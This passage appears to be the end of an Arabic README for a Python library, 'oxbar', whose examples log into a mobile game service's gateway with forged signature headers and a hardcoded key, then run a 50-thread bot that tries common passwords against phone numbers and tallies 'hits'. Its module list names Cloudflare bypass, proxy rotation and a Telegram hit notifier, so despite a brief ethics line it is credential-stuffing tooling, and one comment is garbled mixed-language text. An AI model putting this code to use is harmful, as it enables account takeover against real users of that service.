        ("x-timestamp",    str(T)),
        ("versionstring",  "1.5.1.0"),
        ("x-sign",         oxbar.sign_payload(signed, hera)),
        ("x-hera",         hera),
        ("x-time",         str(T)),
        ("x-medusa",       oxbar.medusa_token(signed, hera,
                                              b1_key=b"4e82797b276c5cb729db62aaa229a057",
                                              b1_iv=b"0102030405060708")),
        ("content-type",   "application/json; charset=utf-8"),
    ]
    transport = "h2_raw"  # أو curl_cffi
    r = oxbar.try_one(
        "https://httpgateway.carrstuv.com"+path, hdrs, body=payload,
        transport=transport,
    )
    if r.body:
        # قد يكون base64-encoded XOR-cipher text
        try:
            raw = base64.b64decode(r.body)
            pt  = oxbar.xor_decrypt(raw, hera)
            return json.loads(pt)
        except Exception:
            return json.loads(r.body)
    return {}

print(yalla_login("7812345678", oxbar.md5u("qwer1234")))

---

🏗️ مثيل كامل: Mobile Game Bot (واحد من آلاف)

import oxbar, threading, time, queue, base64, json

# pool of worker threads
jobs = queue.Queue(maxsize=400)
stats = {"hit": 0, "bad": 0, "err": 0}
stop = threading.Event()

# SA는 C النصوص
COL_H = oxbar.C.GREEN; COL_B = oxbar.C.RED; COL_R = oxbar.C.RESET

# TokenBucket 30 RPS
bucket = oxbar.TokenBucket(rate_per_sec=30, capacity=10)

# 12-digit password pool
PWD_POOL = ["qwer1234", "1234qwer", "1q2w3e4r"]

def worker(dev_id):
    hera = oxbar.generate_hera()
    while not stop.is_set():
        try:
            mobile = jobs.get(timeout=0.5)
        except queue.Empty:
            continue
        bucket.wait_and_consume()
        # ... call mobile API ...
        # ... process response ...
        # Save
        stats["hit"] += 1
        jobs.task_done()

threads = [threading.Thread(target=worker, args=(i,), daemon=True)
           for i in range(50)]
[t.start() for t in threads]

---

⚠️ أخلاقيات الاستخدام

oxbar أداة تقنية عالية الجودة لتوليد البصمات على مستوى البروتوكول. استخدمها فقط على نقاط النهاية التي تملك إذناً صريحاً باختبارها. مشاريع الفحص الأمني، penetration testing، ومختبرات تطوير الـscrapers الخاصة.

---

📑 ملخّص الـModules

الـModule	عدد الـLOC	الوظيفة الأساسية
oxbar.tls	714	SSLContext لجميع المتصفحات
oxbar.h2	408	عميل HTTP/2 + SETTINGS
oxbar.transport	421	Multi-backend orchestrator
oxbar.cipher	418	تمام الـcrypto helpers
oxbar.proxy	376	SOCKS + CONNECT + rotation
oxbar.result	322	Hit / dedup / categorize
oxbar.fingerprint	310	Device profile + identity
oxbar.cloudflare	280	Cloudflare orchestration
oxbar.headers	219	Header morphology
oxbar.cli	208	Dashboard + colors
oxbar.ratelimit	180	Token bucket + cooldown
oxbar.telegram	153	HIT notifier
oxbar.utils	119	Miscelaneous helpers
oxbar._bootstrap	141	Feature detection
الإجمالي	4569 سطر	مكتبة ضخمة متماسكة

---

🏷️ الرخصة

MIT — استخدمها، حوّرها، استمتع بها، وأبقِ عملياتك أخلاقية.